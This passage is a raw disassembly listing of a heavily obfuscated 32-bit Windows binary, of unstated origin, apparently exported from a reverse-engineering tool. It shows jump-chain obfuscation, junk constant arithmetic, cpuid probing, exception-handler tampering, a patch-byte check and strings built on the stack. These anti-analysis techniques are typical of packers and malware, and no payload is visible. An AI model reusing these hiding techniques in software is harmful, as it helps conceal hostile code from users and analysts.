; CODE XREF: sub_4265C0+7j jmp loc_42C436 ; END OF FUNCTION CHUNK FOR sub_4265C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42BCFD: ; CODE XREF: sub_428EB9-5C84j jmp loc_4240D3 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- dw 877Eh dword_42BD04 dd 2 ; DATA XREF: sub_428205-272Fr dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1 ; --------------------------------------------------------------------------- loc_42C104: ; CODE XREF: _0182ofla:00426B96j jmp loc_426D60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42C109: ; CODE XREF: sub_429E52-57C2j jmp loc_428634 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_42C10E: ; CODE XREF: sub_426319+8j sbb ecx, 0A742FED9h call sub_42C998 loc_42C119: ; CODE XREF: sub_42B8A3+16j jmp loc_42C6CC ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4281B9 loc_42C11E: ; CODE XREF: sub_4281B9+Aj jmp loc_42B88C ; END OF FUNCTION CHUNK FOR sub_4281B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A42 loc_42C123: ; CODE XREF: sub_423A42+17A8j jmp locret_42CDE4 ; END OF FUNCTION CHUNK FOR sub_423A42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E44 loc_42C128: ; CODE XREF: sub_426E44-1EC0j jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_426E44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42C12D: ; CODE XREF: sub_4298DD-3AD8j mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42C131: ; CODE XREF: sub_427445+7919j rol eax, 9 push eax jmp nullsub_195 ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42C13A: ; CODE XREF: sub_4282B8+CAAj jge loc_42D7CC xchg ebx, [eax] jmp loc_42D18C ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42C147: ; CODE XREF: sub_428F20:loc_42356Fj xor eax, 0AE211247h mov [ebp+0], eax jmp loc_429A8B ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- loc_42C155: ; DATA XREF: sub_4233EC+7E42o push 4C200DCAh pop ebx sub ebx, 934E052Fh and ebx, 0B82D2361h test ebx, 40000000h jmp loc_4268D3 ; --------------------------------------------------------------------------- loc_42C172: ; DATA XREF: sub_42537E+3977o push 814DC5D7h mov eax, offset sub_425418 push offset loc_42540F jmp loc_4295E1 ; --------------------------------------------------------------------------- loc_42C186: ; CODE XREF: _0182ofla:00425CD7j jnz loc_4237EA jmp loc_42B1CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6BF loc_42C192: ; CODE XREF: sub_42E6BF+2DBj mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42E6BF ; --------------------------------------------------------------------------- locret_42C196: ; CODE XREF: _0182ofla:00423305j retn ; =============== S U B R O U T I N E ======================================= sub_42C197 proc near ; CODE XREF: sub_423395+4p ; sub_42E1C8-7FA4j ... ; FUNCTION CHUNK AT 0042359B SIZE 00000005 BYTES jns sub_42310C push ebp jmp loc_42359B sub_42C197 endp ; =============== S U B R O U T I N E ======================================= sub_42C1A3 proc near ; CODE XREF: _0182ofla:0042C29Fj ; sub_42B3C2+3176p xchg ebx, [esp+0] pop ebx call nullsub_10 retn sub_42C1A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A1D9 loc_42C1AD: ; CODE XREF: sub_42A1D9+10j jmp loc_423CED ; END OF FUNCTION CHUNK FOR sub_42A1D9 ; =============== S U B R O U T I N E ======================================= sub_42C1B2 proc near ; CODE XREF: sub_4265C0j ; FUNCTION CHUNK AT 00423748 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004239DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042443D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424744 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00424D90 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00425681 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C2D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D274 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042E938 SIZE 0000000E BYTES push ebp jmp loc_425C2D sub_42C1B2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42C1B9: ; CODE XREF: _0182ofla:00425874j jmp loc_42E2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42C1BE: ; CODE XREF: sub_423A2A+7A06j push eax push 0B568BE60h pop eax or eax, 9D7C7FF4h jmp loc_426A87 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_42C1D1 proc near ; CODE XREF: sub_42D056-4749p ; FUNCTION CHUNK AT 00425E5C SIZE 00000014 BYTES call sub_42433C loc_42C1D6: ; CODE XREF: sub_42705A:loc_427062j jmp loc_425E5C sub_42C1D1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D3 loc_42C1DB: ; CODE XREF: sub_4243D3+29CBj jmp loc_42E299 ; END OF FUNCTION CHUNK FOR sub_4243D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_42C1E0: ; CODE XREF: sub_4249FA+5148j call sub_428D17 push 0B9950870h xchg esi, [esp+0] mov edx, esi pop esi jmp loc_4254F7 ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42C1F5: ; CODE XREF: sub_42798F:loc_425663j ; sub_42798F-15EEj mov ecx, [ebp-1Ch] and ecx, 7 mov eax, 1 shl eax, cl jmp loc_42A059 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42C207: ; CODE XREF: _0182ofla:0042B806j jnz loc_42E9CC jmp loc_42A872 ; --------------------------------------------------------------------------- loc_42C212: ; DATA XREF: sub_42798F:loc_428FC1o mov eax, [ebp-0Ch] mov ecx, 3F5h push offset loc_427BDB jmp locret_42535F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C677 loc_42C224: ; CODE XREF: sub_42C677-8DE6j mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_42EA69 jmp loc_42A6CC ; END OF FUNCTION CHUNK FOR sub_42C677 ; --------------------------------------------------------------------------- loc_42C23F: ; DATA XREF: sub_424CE4+9o call sub_42D71D push eax ror eax, 8 push edi push 0A1916F7Dh pop edi add edi, 5EB10AD7h jmp loc_428692 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_42C25A: ; CODE XREF: sub_42AB3E:loc_423490j ; sub_42AB3E-7559j call sub_429BB9 mov edx, 277EFE57h call sub_42D71D push eax ror eax, 1Bh mov ds:dword_42D240, eax retn ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42C274: ; CODE XREF: sub_42380D+5064j jmp loc_42D150 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42417A loc_42C279: ; CODE XREF: sub_42417A+5j jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_42417A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_42C27E: ; CODE XREF: sub_42AB3E:loc_429438j rol eax, 1Bh jmp loc_425A2D ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_42C286: ; CODE XREF: sub_4289E4:loc_42DA92j cmp byte ptr [eax], 0 jnz loc_42E26D push offset loc_427663 jmp loc_425A01 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- sbb ecx, 46700590h jmp sub_42C1A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42C2A4: ; CODE XREF: sub_428A39:loc_42389Bj push offset loc_42DF6B jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42C2AE: ; CODE XREF: sub_423FCD-818j ; sub_423FCD:loc_42C763j sub edx, ds:4000F2h add edx, 817D6752h xchg edx, [esp+0] jmp sub_4265C0 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- jmp loc_4290CF ; --------------------------------------------------------------------------- jmp loc_425CFF ; =============== S U B R O U T I N E ======================================= sub_42C2CC proc near ; CODE XREF: sub_42C9E6:loc_425831j ; sub_423A2A:loc_42800Bp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042B8F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D56F SIZE 00000012 BYTES push eax xchg eax, ebp mov ebp, eax xchg eax, [esp+4+var_4] jmp loc_42D56F sub_42C2CC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42768C loc_42C2D9: ; CODE XREF: sub_42768C+5BCDj pop ebx pop ecx loc_42C2DB: ; CODE XREF: sub_42E1DA:loc_428DB2j pop edx mov ebp, offset loc_4283D7 xchg ebp, [esp-10h+arg_C] jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_42768C ; --------------------------------------------------------------------------- loc_42C2E9: ; CODE XREF: _0182ofla:00429F22j test eax, ebx jmp loc_4268C5 ; =============== S U B R O U T I N E ======================================= sub_42C2F0 proc near ; CODE XREF: sub_4289E4:loc_429FB4p ; _0182ofla:0042A455j ; FUNCTION CHUNK AT 00429304 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004297E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E26D SIZE 0000000B BYTES mov [esp+0], esi pop esi jnz loc_42E26D mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_429304 sub_42C2F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_42C309: ; CODE XREF: sub_4289E4:loc_4282C5j mov eax, [ebp-0Ch] jmp loc_42DA92 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; =============== S U B R O U T I N E ======================================= sub_42C311 proc near ; DATA XREF: sub_423395+7678o add eax, ebp add eax, 2420074Fh mov dword ptr [eax], 70736957h lea eax, [ebp-1Ch] mov dword ptr [eax], 646E6957h lea eax, [ebp-18h] mov dword ptr [eax], 6C43776Fh push offset sub_42C565 jmp nullsub_98 sub_42C311 endp ; =============== S U B R O U T I N E ======================================= sub_42C33B proc near ; DATA XREF: sub_425BF8+78CAo ; FUNCTION CHUNK AT 004267E5 SIZE 00000002 BYTES pop ecx call sub_42805F loc_42C341: ; CODE XREF: sub_426851+1054j jmp loc_4267E5 sub_42C33B endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub ecx, 2DE20CDDh jmp sub_423726 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_42C351: ; CODE XREF: sub_42938A:loc_42B8D4j or esi, 307655B9h and esi, 0F9891333h add esi, 0FC2BE26h xchg esi, [esp+4+var_4] jmp sub_42D15D ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42C36B: ; CODE XREF: sub_42798F-4707j pushf push ecx loc_42C36D: ; CODE XREF: sub_42798F:loc_42B1C1j call sub_42E278 loc_42C372: ; CODE XREF: sub_42DF41-2FC3j jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42C377: ; CODE XREF: _0182ofla:0042EDF7j xchg esi, [ebx] ; =============== S U B R O U T I N E ======================================= sub_42C379 proc near ; CODE XREF: sub_4258B7:loc_425453p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00427CA3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004290A6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429309 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429DE3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AC7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B321 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042B3FF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042B739 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D234 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D3CE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042E22F SIZE 00000006 BYTES mov [esp+8+var_8], ebx pop ebx push ebp mov ebp, esp push ecx jmp loc_42B739 sub_42C379 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E13 loc_42C386: ; CODE XREF: sub_425E13:loc_42EC5Bj mov ebp, eax xchg ebp, [esp+0] call sub_427239 ; END OF FUNCTION CHUNK FOR sub_425E13 ; START OF FUNCTION CHUNK FOR sub_429038 loc_42C390: ; CODE XREF: _0182ofla:00426104j ; sub_429038+Cj ... mov eax, 120h jmp loc_42B722 ; END OF FUNCTION CHUNK FOR sub_429038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_42C39A: ; CODE XREF: sub_42A760:loc_42A16Ej add eax, ebp add eax, 19E33FDFh mov eax, [eax] call sub_425E13 ; END OF FUNCTION CHUNK FOR sub_42A760 ; START OF FUNCTION CHUNK FOR sub_427259 loc_42C3A9: ; CODE XREF: sub_427259+5194j jmp loc_423FBC ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- test al, al jz loc_42B26F jmp loc_42DEB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_42C3BB: ; CODE XREF: sub_42EAB7-62EAj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 jmp loc_429777 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- adc edi, 0DA5865C4h jmp loc_42798E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_42C3E3: ; CODE XREF: sub_427259+5977j mov eax, [eax] or eax, eax jnz loc_42AE74 jmp loc_42C3A9 ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42C3F2: ; CODE XREF: sub_4282B8-517Cj cmp esi, 51FCBD88h jmp loc_426A53 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_42C3FD: ; CODE XREF: sub_4267F8:loc_42EA0Aj mov eax, [ebp-8] mov al, [eax] add [ebp-0Ah], al xor eax, eax mov al, [ebp-0Ah] shr eax, 4 xor [ebp-0Ah], al jmp loc_42368C ; END OF FUNCTION CHUNK FOR sub_4267F8 ; =============== S U B R O U T I N E ======================================= sub_42C415 proc near ; CODE XREF: sub_425418:loc_4246BEp ; _0182ofla:0042D66Dj ; FUNCTION CHUNK AT 00423D23 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424037 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425116 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00425551 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004260BD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A3B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B213 SIZE 00000005 BYTES mov [esp+0], edx pop edx add eax, ebp add eax, 5C46526Dh push eax call sub_42371C push eax jmp loc_423D23 sub_42C415 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42C42D: ; CODE XREF: _0182ofla:loc_423574j mov ebp, [esi] sub eax, edx jmp loc_42AC8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265C0 loc_42C436: ; CODE XREF: sub_4265C0:loc_42BCF8j mov ebp, esp xchg esi, edx push edx xchg esi, edx jmp loc_42B223 ; END OF FUNCTION CHUNK FOR sub_4265C0 ; --------------------------------------------------------------------------- jbe loc_4287CC jmp loc_42A8DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42C44D: ; CODE XREF: sub_423395+F9Bj rol esi, 16h test ecx, 3BBE08FCh jmp loc_427D65 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_42C45B: ; CODE XREF: sub_42C718-5Cj push edx loc_42C45C: ; DATA XREF: _0182ofla:00429F8Fo pop dword ptr fs:0 xchg eax, [esp+4+var_4] pop eax call sub_423FCD test al, al jz loc_42770A call nullsub_233 jmp loc_424594 ; END OF FUNCTION CHUNK FOR sub_42C718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429957 loc_42C47D: ; CODE XREF: sub_429957+Aj mov eax, 80000003h xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax xor [esi], ebx loc_42C48E: ; CODE XREF: sub_42B3C2-8010j jmp loc_428A44 ; END OF FUNCTION CHUNK FOR sub_429957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_42C493: ; CODE XREF: sub_42A420+2448j sbb edi, 0E31722CEh push eax loc_42C49A: ; CODE XREF: sub_42A420:loc_42E058j call sub_428D17 mov edx, 64EFA9EDh call sub_42D71D push eax ror eax, 5 jmp loc_427781 ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425A1D loc_42C4B2: ; CODE XREF: sub_425A1D+Aj push 26DCF0A8h pop ecx sub ecx, ds:4000F4h xor ecx, 0F9492541h add ecx, 970ED158h mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_425A1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA2D loc_42C4CE: ; CODE XREF: sub_42DA2D+Bj jmp loc_425941 ; END OF FUNCTION CHUNK FOR sub_42DA2D ; --------------------------------------------------------------------------- loc_42C4D3: ; CODE XREF: _0182ofla:0042998Cj jmp loc_425034 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42C4D8: ; CODE XREF: sub_4282B8-Bj jmp loc_426488 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423249 loc_42C4DD: ; CODE XREF: sub_423249:loc_42EC15j mov [ebp-5], al jmp loc_429D23 ; END OF FUNCTION CHUNK FOR sub_423249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42C4E5: ; CODE XREF: sub_42537E:loc_428CEFj push 0D20F4FB4h pop eax or eax, 0AFCC71F7h xor eax, 635701D9h jmp loc_426A3E ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- loc_42C4FC: ; DATA XREF: sub_427593o add ecx, 3018E420h xchg ecx, [esp] jmp loc_42ED15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42C50A: ; CODE XREF: sub_428D63:loc_427568j push 76BA1BCFh jmp loc_425F55 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42C514: ; CODE XREF: sub_42798F-2326j or ebx, eax sub ecx, 9333B2Eh cmp ebp, edi jmp loc_426397 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_42C523: ; CODE XREF: sub_424707+8447j ror edx, 17h adc eax, 87952B2Ah cmp ecx, 451DC9E5h call sub_429B91 jmp loc_425CB1 ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42C53C: ; CODE XREF: sub_423FCD+4A36j xor edx, 49A0E246h cmp edx, 0F9055974h jmp loc_42B389 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- locret_42C54D: ; CODE XREF: _0182ofla:00426AB8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C7D loc_42C54E: ; CODE XREF: sub_428C7D-740j jmp loc_42465A ; END OF FUNCTION CHUNK FOR sub_428C7D ; =============== S U B R O U T I N E ======================================= sub_42C553 proc near ; CODE XREF: _0182ofla:00428D5Dj ; sub_424762+9CABp ; FUNCTION CHUNK AT 00424218 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042487B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424971 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00424F46 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428B3F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042944A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042A67C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AFDA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CA7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC43 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042DDCF SIZE 0000001F BYTES mov [esp+0], ecx pop ecx and eax, 7 push ecx push 0E98F74C6h jmp loc_42CA7D sub_42C553 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42C565 proc near ; DATA XREF: sub_42C311+20o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425E1D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042E2E3 SIZE 00000005 BYTES lea eax, [ebp-14h] mov dword ptr [eax], 737361h push 2408C8B5h xor dword ptr [esp+0], 2408C8B5h jmp loc_42E2E3 sub_42C565 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42C57F: ; CODE XREF: sub_428729+DBEj jz loc_42AE8A jmp loc_42783B ; END OF FUNCTION CHUNK FOR sub_428729 ; =============== S U B R O U T I N E ======================================= sub_42C58A proc near ; DATA XREF: _0182ofla:0042E7CBo ; FUNCTION CHUNK AT 00424F1A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428065 SIZE 00000005 BYTES mov edx, 1AE260E8h call sub_42D71D push eax ror eax, 7 jmp loc_428065 sub_42C58A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_42C59D: ; CODE XREF: sub_425629+2650j jnz loc_423520 popf jle loc_4240C6 jmp loc_42ED49 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D8EA loc_42C5AF: ; CODE XREF: sub_42D8EA:loc_4273C5j pop eax add eax, 12C7E6Bh call sub_42ADE3 loc_42C5BB: ; CODE XREF: _0182ofla:00427523j jmp loc_429E0E ; END OF FUNCTION CHUNK FOR sub_42D8EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42C5C0: ; CODE XREF: sub_428729-4257j jmp nullsub_183 ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42C5C5: ; CODE XREF: sub_42798F:loc_42AEEDj jnz loc_4236F0 jmp loc_42EC62 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42C5D0: ; CODE XREF: _0182ofla:0042615Cj push 0A15403C4h jmp loc_42B027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_42C5DA: ; CODE XREF: sub_427239+73DBj jz loc_42C7A0 jmp loc_426F1D ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4258B7 loc_42C5E5: ; CODE XREF: sub_4258B7:loc_425458j pop ebx pop edx pop eax loc_42C5E8: ; CODE XREF: sub_42AC07:loc_427BB3j pop ecx pop ebp jmp loc_4283D7 ; END OF FUNCTION CHUNK FOR sub_4258B7 ; =============== S U B R O U T I N E ======================================= sub_42C5EF proc near ; CODE XREF: sub_4298DD-341Cj ; FUNCTION CHUNK AT 0042777C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428197 SIZE 00000011 BYTES push ebp jmp loc_42777C sub_42C5EF endp ; --------------------------------------------------------------------------- pushf jmp sub_425063 ; --------------------------------------------------------------------------- loc_42C5FB: ; DATA XREF: sub_42771F+7o mov eax, [eax] ; START OF FUNCTION CHUNK FOR sub_42537E loc_42C5FD: ; CODE XREF: sub_42537E:loc_429517j and eax, 0FFFFFFh cmp eax, 0C3C033h jnz loc_428CEF jmp loc_42E8E8 ; END OF FUNCTION CHUNK FOR sub_42537E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_42D672 ; --------------------------------------------------------------------------- loc_42C61C: ; DATA XREF: sub_42A915-6F88o push 60919A5Ah pop edi add edi, 2F6F48F0h add edi, ebp add edi, 6FFF1CB2h mov [edi], eax pop edi inc dword ptr [ebp-0Ch] jmp loc_423544 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42C63B: ; CODE XREF: sub_423FCD+9CDAj pushf push 0C14CE052h pop eax xor eax, 0C14CE052h popf xchg eax, [esp-4+arg_0] push offset sub_42B0C0 jmp loc_42ACF6 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_42C656: ; CODE XREF: sub_427DA9+1Dj mov eax, [eax] test eax, 1 jz loc_42848C jmp loc_4298B7 ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42C668: ; CODE XREF: sub_42D9A4-A0D7j jo loc_42B7AD xor edi, ecx xchg edi, ebx jmp loc_42B53E ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; =============== S U B R O U T I N E ======================================= sub_42C677 proc near ; CODE XREF: sub_42D950:loc_42713Ap ; _0182ofla:0042A5B4j ; FUNCTION CHUNK AT 0042387B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A6CC SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042C224 SIZE 0000001B BYTES xchg eax, [esp+0] pop eax call sub_428D17 mov edx, 0CF0182F6h call sub_42B097 call sub_42AAD2 loc_42C68F: ; CODE XREF: sub_42798F-35C8j jmp loc_42387B sub_42C677 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42C695: ; CODE XREF: sub_4271D2+2A71j jmp loc_42588B ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_42C69A: ; CODE XREF: sub_427259:loc_4273CAj jl loc_42D081 loc_42C6A0: ; CODE XREF: sub_427E42+37D4j jmp loc_42ECE1 ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- add edx, 0C20AA3D3h shl edi, 1Ah jmp loc_42D078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_42C6B3: ; CODE XREF: sub_42C718-5649j sbb edx, 0AD55EADBh shl ebx, 12h jmp loc_42C45B ; END OF FUNCTION CHUNK FOR sub_42C718 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO 